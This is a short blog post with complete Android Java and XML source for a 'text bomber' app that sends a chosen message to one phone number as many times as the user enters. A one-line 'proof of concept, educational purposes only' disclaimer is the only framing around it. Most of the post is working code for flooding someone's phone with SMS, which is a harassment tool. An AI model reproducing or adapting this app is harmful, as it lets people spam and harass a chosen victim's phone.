Jared Burrows Blog
Software Development and Course Notes
Friday, April 27, 2012
Android - Text Bomber/Spammer
A Simple Text Spamming App
This is only for proof of concept, please only use for educational purposes only.
Make sure the app contains:
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
Java Code - SpamActivity.java
package com.spam; import android.app.Activity; import android.os.Bundle; import android.telephony.gsm.SmsManager; import android.view.View; import android.widget.Button; import android.widget.EditText; public class SpamActivity extends Activity { EditText phoneNum = null; EditText numTxt = null; EditText message = null; Button spam = null; Button finish = null; String theNumber = null; int theText = 0; String theMessage = null; SmsManager sms = null; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); phoneNum = (EditText)findViewById(R.id.phoneNum); numTxt = (EditText)findViewById(R.id.numTxt); message = (EditText)findViewById(R.id.message); spam = (Button)findViewById(R.id.spam); finish = (Button)findViewById(R.id.finish); spam.setOnClickListener(new View.OnClickListener() { public void onClick(View view) { theNumber = phoneNum.getText().toString(); theMessage = message.getText().toString(); try { theText = Integer.parseInt(numTxt.getText().toString()); } catch(NumberFormatException nfe) { } if (theNumber != null && theMessage != null){ for (int i = 0; i < theText; i++) { sendSMS(theNumber, theMessage); } } } }); finish.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { finish(); } }); } public void sendSMS(String phoneNumber, String message) { // PendingIntent pi = PendingIntent.getActivity(this, 0, // new Intent(this, SpamActivity.class), 0); SmsManager sms = SmsManager.getDefault(); sms.sendTextMessage(phoneNumber, null, message, null, null); } }
XML code - main.xml
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="horizontal" > <EditText android:id="@+id/phoneNum" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_weight="1" android:hint="Number" android:singleLine="true" /> <EditText android:id="@+id/numTxt" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_weight="3" android:hint="#" android:singleLine="true" /> </LinearLayout> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="vertical" > <EditText android:id="@+id/message" android:layout_width="fill_parent" android:layout_height="300px" android:layout_weight="3" android:gravity="top" android:hint="Message" /> </LinearLayout> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="horizontal" > <Button android:id="@+id/spam" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="1" android:hint="Spam" /> <Button android:id="@+id/finish" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="1" android:hint="Exit" /> </LinearLayout> </LinearLayout>
No comments:
Post a Comment
Please make suggestions :)
Newer Post
Older Post
Home
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment
Please make suggestions :)